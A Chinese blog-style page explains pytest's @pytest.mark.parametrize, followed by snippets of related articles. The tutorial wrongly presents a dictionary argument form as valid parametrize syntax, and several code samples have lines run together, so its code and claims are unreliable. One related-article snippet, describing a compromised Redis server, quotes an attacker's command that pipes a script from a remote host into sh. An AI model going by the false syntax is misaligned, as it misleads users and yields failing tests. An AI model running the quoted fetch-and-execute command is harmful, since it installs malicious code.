当前位置: 首页 > news >正文

pytest装饰器 @pytest.mark.parametrize 使用方法

@pytest.mark.parametrize 有三种传参方法,分别是:

1.列表传参:将参数值作为列表传递给装饰器。

@pytest.mark.parametrize("param", [value1, value2, ..., valuen])

2.元组传参:将参数值作为元组传递给装饰器。

@pytest.mark.parametrize(("param1", "param2", ..., "paramn"), [(value1, value2, ..., valuen)])

3.字典传参:将参数名和参数值以字典的形式传递给装饰器。

@pytest.mark.parametrize({"param1": value1, "param2": value2, ..., "paramn": valuen})

使用方法如下:

import pytest@pytest.mark.parametrize("input", [1, 2, 3])
def test_function(input):# 测试逻辑assert input > 0

在上面的例子中,我们定义了名为 test_function 的测试函数,并使用 @pytest.mark.parametrize 装饰器为参数 input 传递了一个列表 [1, 2, 3]。这样,pytest 会分别使用这三个值来运行测试函数。

注意,在使用元组或字典传参时,如果只有一个参数,需要在参数名或值的周围加上逗号,以表示这是一个元组或字典。

@pytest.mark.parametrize(("input",), [(1,), (2,), (3,)])
def test_function(input):# 测试逻辑assert input > 0

@pytest.mark.parametrize({"input": 1})
def test_function(input):# 测试逻辑assert input > 0

这些传参方法可以根据具体的测试需求选择使用,灵活地为测试函数提供不同的输入参数。

在使用 @pytest.mark.parametrize 设计测试用例时,可以使用多种方法来传递复杂参数。

1.使用列表或元组嵌套:可以使用列表或元组来传递多个参数,例如传递多个数字、字符串等。

@pytest.mark.parametrize("param1", [(1, "a"), (2, "b"), (3, "c")])
def test_function(param1):# 测试逻辑assert param1[0] > 0assert param1[1] != ""

2.使用嵌套的字典列表:可以使用嵌套的字典列表来传递多个复杂的参数。

@pytest.mark.parametrize("param1", [{"name": "John", "age": 25}, {"name": "Alice", "age": 30}])
def test_function(param1):# 测试逻辑assert param1["name"] != ""assert param1["age"] > 0

3.使用参数化装饰器多次调用:可以多次使用 @pytest.mark.parametrize 装饰器来实现传递不同的参数。

import pytest@pytest.mark.parametrize("name", ["John", "Alice"])
@pytest.mark.parametrize("age", [25, 30])
def test_function(name, age):# 测试逻辑assert name != ""assert age > 0

4.使用参数化装饰器的参数化参数:可以在 @pytest.mark.parametrize 装饰器中使用元组或嵌套元组来传递复杂参数。

@pytest.mark.parametrize(("name", "age"), [("John", 25), ("Alice", 30)])
def test_function(name, age):# 测试逻辑assert name != ""assert age > 0

通过这些方法,可以灵活地传递复杂参数给测试用例,覆盖多种不同的测试情况。

相关文章:

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法,分别是: 1.列表传参:将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参:将参数值作为元组传递给装饰器。 pytes…...

redis被攻击

之前由于redis没有修改端口,密码也比较简单,也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本,比如:Back1 Back2 Back3 Back4 ,内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式,如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯

我开发的升降梯由三个部分组成,反正适用于我的需求了,其他人想复用到自己的项目的话,不一定。写的也不是很好,感觉搞的有点复杂啦。完全可以在优化一下,项目赶工期,就先这样吧。能用就行,其他的…...

插槽slot涉及到的样式污染问题

1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中&#xff0c;我们主要关注以下两点: 父组件的样式是否会影响子组件的样式&#xff1f;子组件的样式是否会影响父组件定义的插槽部分的样式&#xff1f; 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换

目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来&#xff0c;你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...

python接口自动化(七)--状态码详解对照表(详解)

1.简介 我们为啥要了解状态码&#xff0c;从它的作用&#xff0c;就不言而喻了。如果不了解&#xff0c;我们就会像个无头苍蝇&#xff0c;横冲直撞。遇到问题也不知道从何处入手&#xff0c;就是想找别人帮忙&#xff0c;也不知道是找前端还是后端的工程师。 状态码的作用是&a…...

Android 实现动态申请各项权限

在Android应用中&#xff0c;如果需要使用一些敏感的权限&#xff08;例如相机、位置等&#xff09;&#xff0c;需要经过用户的授权才能访问。在Android 6.0&#xff08;API级别23&#xff09;及以上的版本中&#xff0c;引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】

题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4] 输入&#xff1a;l1 [], l2 [] 输出&#xff1a;[] 输入&#xff1a;l1 []…...

安全与认证Week3 Tutorial+历年题补充

目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证&#xff0c;为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...

【Kotlin】协程

Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中&#xff0c;笔者发现很多异步或者耗时的操作&#xff0c;都使用了Kotlin中的协程&#xff0c;所以特地研究了一番。 定义 关于协程&#xff08;Coroutine&#xff09;&#xff0c;其实…...

Scikit-Learn线性回归(五)

Scikit-Learn线性回归五:岭回归与Lasso回归 1、误差与模型复杂度2、范数与正则化2.1、范数2.2、正则化3、Scikit-Learn Ridge回归(岭回归)4、Scikit-Learn Lasso回归1、误差与模型复杂度 在第二篇文章 Scikit-Learn线性回归(二) 中,我们已经给出了过拟合与模型泛化的概念并…...

React(2): 使用 html2canvas 生成图片

使用 html2canvas 生成图片 需求 将所需的内容生成图片div 中包括 svg 等 前置准备 "react": "^18.2.0","react-dom": "^18.2.0","html2canvas": "^1.4.1",实现 <div ref{payRef}></div>const pa…...

CAN物理层协议介绍

目录 ​编辑 1. CAN协议简介 2. CAN物理层 3. 通讯节点 4. 差分信号 5. CAN协议中的差分信号 1. CAN协议简介 CAN是控制器局域网络(Controller Area Network)的简称,它是由研发和生产汽车电子产品著称的德国BOSCH公司开发的,并最终成为国际标准(ISO11519) &#xff0…...

华为OD机试真题-计算面积-2023年OD统一考试(C卷)

题目描述: 绘图机器的绘图笔初始位置在原点(0, 0),机器启动后其绘图笔按下面规则绘制直线: 1)尝试沿着横向坐标轴正向绘制直线,直到给定的终点值E。 2)期间可通过指令在纵坐标轴方向进行偏移,并同时绘制直线,偏移后按规则1 绘制直线;指令的格式为X offsetY,表示在横…...

设计模式之策略模式【行为型模式】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档> 学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰。各位小伙伴&#xff0c;如果您&#xff1a; 想系统/深入学习某…...

git使用(完整流程)

1. 新建仓库 1.右击 git bash 后 输入 git init (仓库为:当前目录) git init name (仓库为:name文件夹) git clone https://github.com/Winnie996/calculate.git //https2.工作区域 工作目录 3. 添加 提交 git add . //工作区添加至暂存区 git commit -m "注释内容&q…...

九、HTML头部<head>

一、HTML头部<head> 1、<title>- 定义了HTML文档的标题 使用 <title> 标签定义HTML文档的标题 <!DOCTYPE html> <html><head><meta charset"utf-8"><title>我的 HTML 的第一页</title> </head><b…...

机器学习期末复习

机器学习 选择题名词解释&#xff1a;简答题计算题一、线性回归二、决策树三、贝叶斯 选择题 机器学习利用经验 &#xff0c;须对以下&#xff08;&#xff09;进行分析 A 天气 B 数据 C 生活 D 语言 归纳偏好值指机器学习算法在学习的过程中&#xff0c;对以下&#xff08;&a…...

RTKLIB2.4.3进阶:在VS2017中通过.conf与命令行参数高效驱动PPP数据处理

1. RTKLIB与PPP数据处理基础 RTKLIB作为开源GNSS数据处理工具链&#xff0c;在精密单点定位&#xff08;PPP&#xff09;领域有着广泛应用。2.4.3版本虽然发布较早&#xff0c;但其稳定性和功能完整性使其至今仍是许多高精度定位项目的首选。我在多个测绘项目中实测发现&#x…...

手把手教你用OPA4377搭建一个精密电流检测电路(附AD原理图/PCB)

精密电流检测电路设计实战&#xff1a;基于OPA4377的完整解决方案 在工业自动化、新能源系统和医疗设备等领域&#xff0c;精密电流检测一直是电路设计中的关键挑战。传统方案往往面临噪声干扰、非线性失真和温度漂移等问题&#xff0c;而现代CMOS运算放大器如OPA4377为解决这些…...

2026年项目管理工具选型指南:主流方案对比与Gitee核心优势解析

在数字化转型深入与研发效能要求不断提升的2026年&#xff0c;选择一款适配团队基因、能够无缝衔接管理与开发流程的项目管理工具&#xff0c;已成为企业提升协作效率、保障项目交付的关键。面对市场上从轻量级协作到重型研发管理的各类方案&#xff0c;企业选型往往面临工具割…...

通过MCP协议用AI助手管理OVH云资源:ovh-api-mcp项目实战

1. 项目概述&#xff1a;一个连接MCP与OVH云的桥梁 最近在折腾一些自动化运维和云资源管理的活儿&#xff0c;发现了一个挺有意思的开源项目&#xff1a; davidlandais/ovh-api-mcp 。简单来说&#xff0c;这是一个 Model Context Protocol (MCP) 服务器 &#xff0c;专门…...

面向非技术人员的AI智能体实战:零代码自动化工作流构建指南

1. 项目概述&#xff1a;面向非工程师的AI智能体实战训练营如果你是一名市场、销售、运营或行政人员&#xff0c;每天被重复性的文档处理、数据分析、内容制作和跨平台沟通所淹没&#xff0c;看着工程师同事用代码自动化一切&#xff0c;自己却只能手动操作&#xff0c;那么你很…...

基于插件化架构的OBS实时音乐信息集成系统技术解析

基于插件化架构的OBS实时音乐信息集成系统技术解析 【免费下载链接】tuna Song information plugin for obs-studio 项目地址: https://gitcode.com/gh_mirrors/tuna1/tuna Tuna是一款面向OBS Studio的高性能插件化实时音乐信息集成系统&#xff0c;采用模块化架构设计&…...

免费开源桌面分区工具:如何用NoFences在5分钟内整理好你的Windows桌面

免费开源桌面分区工具&#xff1a;如何用NoFences在5分钟内整理好你的Windows桌面 【免费下载链接】NoFences &#x1f6a7; Open Source Stardock Fences alternative 项目地址: https://gitcode.com/gh_mirrors/no/NoFences 你是否每天都要面对杂乱无章的Windows桌面&…...

收藏!AI时代程序员是消失还是逆袭?小白程序员必看大模型逆袭指南

收藏&#xff01;AI时代程序员是消失还是逆袭&#xff1f;小白程序员必看大模型逆袭指南 文章探讨了AI对程序员行业的影响&#xff0c;指出AI抢走了程序员一半的饭碗&#xff0c;但也为另一半人打开了高阶职场的大门。初级岗位因AI工具普及而面临失业风险&#xff0c;但高级技术…...

从CuteCom到minicom:手把手教你搭建Ubuntu嵌入式开发串口调试环境(附I.MX6ULL实战)

从CuteCom到minicom&#xff1a;Ubuntu嵌入式开发串口调试全攻略 嵌入式开发中&#xff0c;串口调试如同工程师的"听诊器"。当你在Ubuntu系统上面对I.MX6ULL这类开发板时&#xff0c;选择一款趁手的串口工具&#xff0c;往往能事半功倍。本文将带你深度对比CuteCom和…...

基于Tauri框架构建轻量级ChatGPT桌面客户端:从原理到实践

1. 项目概述&#xff1a;一个基于Tauri的ChatGPT桌面客户端 最近在折腾AI应用本地化部署的时候&#xff0c;发现了一个挺有意思的项目&#xff1a; pljhonglu/ChatGPT-T 。这是一个用Tauri框架开发的ChatGPT桌面客户端&#xff0c;它的前端界面直接复用了开源项目 chatgpt-…...